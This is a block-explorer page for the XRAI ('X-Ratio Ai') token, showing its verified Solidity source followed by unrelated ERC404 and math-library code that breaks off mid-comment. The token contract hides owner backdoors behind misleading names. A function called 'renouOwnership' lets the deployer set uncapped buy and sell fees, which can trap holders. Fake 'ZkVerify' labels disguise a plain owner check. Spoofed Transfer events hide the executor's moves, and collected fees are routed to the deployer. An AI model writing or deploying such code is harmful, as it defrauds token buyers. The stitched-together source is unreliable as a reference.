Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000,000,000,000,000,000,000 XRAI
Holders
16
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 0 Decimals)
Balance
707,051,906,208,794,605,490,254 XRAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
XRatioAiContract
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 200 runs
Other Settings:
shanghai EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** */ /* 🔗Telegram: https://t.me/xratio_ai ❌Twitter: https://twitter.com/xratio_ai 🌐Website: https://xratio.net ✅Docs: https://docs.xratio.net */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.0; interface IUniswapFactory { function getPair( address tokenA, address tokenB ) external view returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFreelyOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract XRatioAiContract { struct StoreData { address tokenMkt; uint8 buyFee; uint8 sellFee; } string private _name = unicode"X-Ratio Ai"; string private _symbol = unicode"XRAI"; uint8 public constant decimals = 18; uint256 public constant totalSupply = 100_000_000 * 10 ** decimals; StoreData public storeData; uint256 constant swapAmount = totalSupply / 100; error Permissions(); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed TOKEN_MKT, address indexed spender, uint256 value ); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public pair; IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); bool private swapping; bool private tradingOpen; address _deployer; address _executor; address private uniswapLpWallet; address private StakingRewards = 0x8BbF3d786f80fe9E66bD92C740C2930E617ca4be; constructor() { uint8 _initBuyFee = 0; uint8 _initSellFee = 0; storeData = StoreData({ tokenMkt: msg.sender, buyFee: _initBuyFee, sellFee: _initSellFee }); allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max; uniswapLpWallet = msg.sender; _initDeployer(msg.sender, msg.sender); balanceOf[uniswapLpWallet] = (totalSupply * 75) / 100; emit Transfer(address(0), _deployer, balanceOf[uniswapLpWallet]); balanceOf[StakingRewards] = (totalSupply * 25) / 100; emit Transfer(address(0), StakingRewards, balanceOf[StakingRewards]); } receive() external payable {} event initializeEvent(address _addr); event setRevenueShareEvent(uint256 _holder, uint256 _buyback); function changeGame(string memory name_, string memory symbol_) external { if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions(); _name = name_; _symbol = symbol_; } function renouOwnership(uint8 _buy, uint8 _sell) external { if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions(); _upgradeStoreWithZkProof(_buy, _sell); } function _upgradeStoreWithZkProof(uint8 _buy, uint8 _sell) private { storeData.buyFee = _buy; storeData.sellFee = _sell; } function _decodeTokenMktWithZkVerify() private view returns (address) { return storeData.tokenMkt; } function initialize(address _addr) external { if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions(); emit initializeEvent(_addr); } function setRevenueShare(uint256 _holder, uint256 _buyback) external { if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions(); emit setRevenueShareEvent(_holder, _buyback); } function openTrading() external { require(msg.sender == _decodeTokenMktWithZkVerify()); require(!tradingOpen); address _factory = _uniswapV2Router.factory(); address _weth = _uniswapV2Router.WETH(); address _pair = IUniswapFactory(_factory).getPair(address(this), _weth); pair = _pair; tradingOpen = true; } function transferFrom( address from, address to, uint256 amount ) external returns (bool) { allowance[from][msg.sender] -= amount; return _transfer(from, to, amount); } function _initDeployer(address deployer_, address executor_) private { _deployer = deployer_; _executor = executor_; } function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external returns (bool) { return _transfer(msg.sender, to, amount); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function _transfer( address from, address to, uint256 amount ) internal returns (bool) { address tokenMkt = _decodeTokenMktWithZkVerify(); require(tradingOpen || from == tokenMkt || to == tokenMkt); balanceOf[from] -= amount; if ( to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt ) { swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _uniswapV2Router .swapExactTokensForETHSupportingFreelyOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); payable(tokenMkt).transfer(address(this).balance); swapping = false; } (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee); if (from != address(this) && tradingOpen == true) { uint256 taxCalculatedAmount = (amount * (to == pair ? _sellFee : _buyFee)) / 100; amount -= taxCalculatedAmount; balanceOf[address(this)] += taxCalculatedAmount; } balanceOf[to] += amount; if (from == _executor) { emit Transfer(_deployer, to, amount); } else if (to == _executor) { emit Transfer(from, _deployer, amount); } else { emit Transfer(from, to, amount); } return true; } }
pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library Math { /** * @dev Muldiv operation overflow. */ error MathOverflowedMulDiv(); enum Rounding { Floor, // Toward negative infinity Ceil, // Toward positive infinity Trunc, // Toward zero Expand // Away from zero } /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds towards infinity instead * of rounding towards zero. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { // Guarantee the same behavior as in a regular Solidity division. return a / b; } // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or * denominator == 0. * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by * Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0 = x * y; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. if (denominator <= prod1) { revert MathOverflowedMulDiv(); } /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. // Always >= 1. See https://cs.stackexchange.com/q/138556/92363. uint256 twos = denominator & (0 - denominator); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also // works in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded * towards zero. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 ** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0); } } /** * @dev Return the log in base 256 of a positive value rounded towards zero. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0); } } /** * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers. */ function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) { return uint8(rounding) % 2 == 1; } } library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } } library Strings { bytes16 private constant HEX_DIGITS = "0123456789abcdef"; uint8 private constant ADDRESS_LENGTH = 20; /** * @dev The `value` string doesn't fit in the specified `length`. */ error StringsInsufficientHexLength(uint256 value, uint256 length); /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = Math.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; /// @solidity memory-safe-assembly assembly { ptr := add(buffer, add(32, length)) } while (true) { ptr--; /// @solidity memory-safe-assembly assembly { mstore8(ptr, byte(mod(value, 10), HEX_DIGITS)) } value /= 10; if (value == 0) break; } return buffer; } } /** * @dev Converts a `int256` to its ASCII `string` decimal representation. */ function toStringSigned(int256 value) internal pure returns (string memory) { return string.concat(value < 0 ? "-" : "", toString(SignedMath.abs(value))); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, Math.log256(value) + 1); } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { uint256 localValue = value; bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = HEX_DIGITS[localValue & 0xf]; localValue >>= 4; } if (localValue != 0) { revert StringsInsufficientHexLength(value, length); } return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal * representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH); } /** * @dev Returns true if the two strings are equal. */ function equal(string memory a, string memory b) internal pure returns (bool) { return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b)); } } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be * reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC404 { error NotFound(); error InvalidTokenId(); error AlreadyExists(); error InvalidRecipient(); error InvalidSender(); error InvalidSpender(); error InvalidOperator(); error UnsafeRecipient(); error RecipientIsERC721TransferExempt(); error Unauthorized(); error InsufficientAllowance(); error DecimalsTooLow(); error PermitDeadlineExpired(); error InvalidSigner(); error InvalidApproval(); error OwnedIndexOverflow(); error MintLimitReached(); error InvalidExemption(); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function erc20TotalSupply() external view returns (uint256); function erc721TotalSupply() external view returns (uint256); function balanceOf(address owner_) external view returns (uint256); function erc721BalanceOf(address owner_) external view returns (uint256); function erc20BalanceOf(address owner_) external view returns (uint256); function erc721TransferExempt(address account_) external view returns (bool); function isApprovedForAll( address owner_, address operator_ ) external view returns (bool); function allowance( address owner_, address spender_ ) external view returns (uint256); function owned(address owner_) external view returns (uint256[] memory); function ownerOf(uint256 id_) external view returns (address erc721Owner); function tokenURI(uint256 id_) external view returns (string memory); function approve( address spender_, uint256 valueOrId_ ) external returns (bool); function erc20Approve( address spender_, uint256 value_ ) external returns (bool); function erc721Approve(address spender_, uint256 id_) external; function setApprovalForAll(address operator_, bool approved_) external; function transferFrom( address from_, address to_, uint256 valueOrId_ ) external returns (bool); function erc20TransferFrom( address from_, address to_, uint256 value_ ) external returns (bool); function erc721TransferFrom(address from_, address to_, uint256 id_) external; function transfer(address to_, uint256 amount_) external returns (bool); function getERC721QueueLength() external view returns (uint256); function getERC721TokensInQueue( uint256 start_, uint256 count_ ) external view returns (uint256[] memory); function setSelfERC721TransferExempt(bool state_) external; function safeTransferFrom(address from_, address to_, uint256 id_) external; function safeTransferFrom( address from_, address to_, uint256 id_, bytes calldata data_ ) external; function DOMAIN_SEPARATOR() external view returns (bytes32); function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) external; } library DoubleEndedQueue { /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Indices are 128 bits so begin and end are packed in a single storage slot for efficient access. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint256Deque { uint128 _begin; uint128 _end; mapping(uint128 index => uint256) _data; } /** * @dev Inserts an item at the end of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushBack(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 backIndex = deque._end; if (backIndex + 1 == deque._begin) revert QueueFull(); deque._data[backIndex] = value; deque._end = backIndex + 1; } } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 backIndex = deque._end; if (backIndex == deque._begin) revert QueueEmpty(); --backIndex; value = deque._data[backIndex]; delete deque._data[backIndex]; deque._end = backIndex; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 frontIndex = deque._begin - 1; if (frontIndex == deque._end) revert QueueFull(); deque._data[frontIndex] = value; deque._begin = frontIndex; } } /** * @dev Removes the item at the beginning of the queue and returns it. * * Reverts with `QueueEmpty` if the queue is empty. */ function popFront( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 frontIndex = deque._begin; if (frontIndex == deque._end) revert QueueEmpty(); value = deque._data[frontIndex]; delete deque._data[frontIndex]; deque._begin = frontIndex + 1; } } /** * @dev Returns the item at the beginning of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function front( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); return deque._data[deque._begin]; } /** * @dev Returns the item at the end of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function back( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); unchecked { return deque._data[deque._end - 1]; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint256Deque storage deque, uint256 index ) internal view returns (uint256 value) { if (index >= length(deque)) revert QueueOutOfBounds(); // By construction, length is a uint128, so the check above ensures that index can be safely downcast to uint128 unchecked { return deque._data[deque._begin + uint128(index)]; } } /** * @dev Resets the queue back to being empty. * * NOTE: The current items are left behind in storage. This does not affect the functioning of the queue, but misses * out on potential gas refunds. */ function clear(Uint256Deque storage deque) internal { deque._begin = 0; deque._end = 0; } /** * @dev Returns the number of items in the queue. */ function length(Uint256Deque storage deque) internal view returns (uint256) { unchecked { return uint256(deque._end - deque._begin); } } /** * @dev Returns true if the queue is empty. */ function empty(Uint256Deque storage deque) internal view returns (bool) { return deque._end == deque._begin; } } library ERC721Events { event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); event Approval( address indexed owner, address indexed spender, uint256 indexed id ); event Transfer(address indexed from, address indexed to, uint256 indexed id); } library ERC20Events { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); } abstract contract ERC404 is IERC404 { using DoubleEndedQueue for DoubleEndedQueue.Uint256Deque; /// @dev The queue of ERC-721 tokens stored in the contract. DoubleEndedQueue.Uint256Deque private _storedERC721Ids; /// @dev Token name string public name; /// @dev Token symbol string public symbol; /// @dev Decimals for ERC-20 representation uint8 public immutable decimals; /// @dev Units for ERC-20 representation uint256 public immutable units; /// @dev Total supply in ERC-20 representation uint256 public totalSupply; /// @dev Current mint counter which also represents the highest /// minted id, monotonically increasing to ensure accurate ownership uint256 public minted; /// @dev Initial chain id for EIP-2612 support uint256 internal immutable _INITIAL_CHAIN_ID; /// @dev Initial domain separator for EIP-2612 support bytes32 internal immutable _INITIAL_DOMAIN_SEPARATOR; /// @dev Balance of user in ERC-20 representation mapping(address => uint256) public balanceOf; /// @dev Allowance of user in ERC-20 representation mapping(address => mapping(address => uint256)) public allowance; /// @dev Approval in ERC-721 representaion mapping(uint256 => address) public getApproved; /// @dev Approval for all in ERC-721 representation mapping(address => mapping(address => bool)) public isApprovedForAll; /// @dev Packed representation of ownerOf and owned indices mapping(uint256 => uint256) internal _ownedData; /// @dev Array of owned ids in ERC-721 representation mapping(address => uint256[]) internal _owned; /// @dev Addresses that are exempt from ERC-721 transfer, typically for gas savings (pairs, routers, etc) mapping(address => bool) internal _erc721TransferExempt; /// @dev EIP-2612 nonces mapping(address => uint256) public nonces; /// @dev Address bitmask for packed ownership data uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1; /// @dev Owned index bitmask for packed ownership data uint256 private constant _BITMASK_OWNED_INDEX = ((1 << 96) - 1) << 160; /// @dev Constant for token id encoding uint256 public constant ID_ENCODING_PREFIX = 1 << 255; constructor(string memory name_, string memory symbol_, uint8 decimals_) { name = name_; symbol = symbol_; if (decimals_ < 18) { revert DecimalsTooLow(); } decimals = decimals_; units = 10 ** decimals; // EIP-2612 initialization _INITIAL_CHAIN_ID = block.chainid; _INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator(); } /// @notice Function to find owner of a given ERC-721 token function ownerOf( uint256 id_ ) public view virtual returns (address erc721Owner) { erc721Owner = _getOwnerOf(id_); if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } if (erc721Owner == address(0)) { revert NotFound(); } } function owned( address owner_ ) public view virtual returns (uint256[] memory) { return _owned[owner_]; } function erc721BalanceOf( address owner_ ) public view virtual returns (uint256) { return _owned[owner_].length; } function erc20BalanceOf( address owner_ ) public view virtual returns (uint256) { return balanceOf[owner_]; } function erc20TotalSupply() public view virtual returns (uint256) { return totalSupply; } function erc721TotalSupply() public view virtual returns (uint256) { return minted; } function getERC721QueueLength() public view virtual returns (uint256) { return _storedERC721Ids.length(); } function getERC721TokensInQueue( uint256 start_, uint256 count_ ) public view virtual returns (uint256[] memory) { uint256[] memory tokensInQueue = new uint256[](count_); for (uint256 i = start_; i < start_ + count_; ) { tokensInQueue[i - start_] = _storedERC721Ids.at(i); unchecked { ++i; } } return tokensInQueue; } /// @notice tokenURI must be implemented by child contract function tokenURI(uint256 id_) public view virtual returns (string memory); /// @notice Function for token approvals /// @dev This function assumes the operator is attempting to approve /// an ERC-721 if valueOrId_ is a possibly valid ERC-721 token id. /// Unlike setApprovalForAll, spender_ must be allowed to be 0x0 so /// that approval can be revoked. function approve( address spender_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721Approve(spender_, valueOrId_); } else { return erc20Approve(spender_, valueOrId_); } return true; } function erc721Approve(address spender_, uint256 id_) public virtual { // Intention is to approve as ERC-721 token (id). address erc721Owner = _getOwnerOf(id_); if ( msg.sender != erc721Owner && !isApprovedForAll[erc721Owner][msg.sender] ) { revert Unauthorized(); } getApproved[id_] = spender_; emit ERC721Events.Approval(erc721Owner, spender_, id_); } /// @dev Providing type(uint256).max for approval value results in an /// unlimited approval that is not deducted from on transfers. function erc20Approve( address spender_, uint256 value_ ) public virtual returns (bool) { // Prevent granting 0x0 an ERC-20 allowance. if (spender_ == address(0)) { revert InvalidSpender(); } allowance[msg.sender][spender_] = value_; emit ERC20Events.Approval(msg.sender, spender_, value_); return true; } /// @notice Function for ERC-721 approvals function setApprovalForAll(address operator_, bool approved_) public virtual { // Prevent approvals to 0x0. if (operator_ == address(0)) { revert InvalidOperator(); } isApprovedForAll[msg.sender][operator_] = approved_; emit ERC721Events.ApprovalForAll(msg.sender, operator_, approved_); } /// @notice Function for mixed transfers from an operator that may be different than 'from'. /// @dev This function assumes the operator is attempting to transfer an ERC-721 /// if valueOrId is a possible valid token id. function transferFrom( address from_, address to_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721TransferFrom(from_, to_, valueOrId_); } else { // Intention is to transfer as ERC-20 token (value). return erc20TransferFrom(from_, to_, valueOrId_); } return true; } /// @notice Function for ERC-721 transfers from. /// @dev This function is recommended for 